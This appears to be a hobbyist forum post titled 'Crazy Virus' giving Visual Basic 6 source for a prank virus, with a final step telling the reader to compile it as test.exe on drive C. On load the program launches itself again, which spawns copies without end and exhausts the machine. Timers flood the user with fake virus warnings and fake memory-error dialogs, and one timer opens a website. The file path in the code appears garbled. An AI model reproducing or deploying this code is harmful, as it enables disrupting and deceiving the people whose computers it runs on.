Crazy Virus'

topherhacker

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Dim ctr As Integer
---------------------------------------------------------------
Private Sub Form_Load()
Shell "c: est.exe", vbNormalFocus
End Sub
---------------------------------------------------------------
' Timer1 interval = 100

Private Sub Timer1_Timer()
MsgBox "Virus Detected!", vbExclamation, "Warning."
End Sub
---------------------------------------------------------------
' Timer2 interval = 200

Private Sub Timer2_Timer()
MsgBox "Runtime error 492. Not enough memory.", vbCritical, "Runtime Error."
End Sub
---------------------------------------------------------------
' Timer3 interval = 5000

Private Sub Timer3_Timer()
ctr = ctr + 1
If ctr = 1 Then
ShellExecute Form1.hwnd, "open", "http://www.googlehammer.com", "", "", SW_SHOW Or SW_NORMAL
Timer3.Enabled = False
End If
End Sub
---------------------------------------------------------------

---------------------------------------------------------------
'After that, you will make the exe file and name it the "test.exe" and then save it to drive C.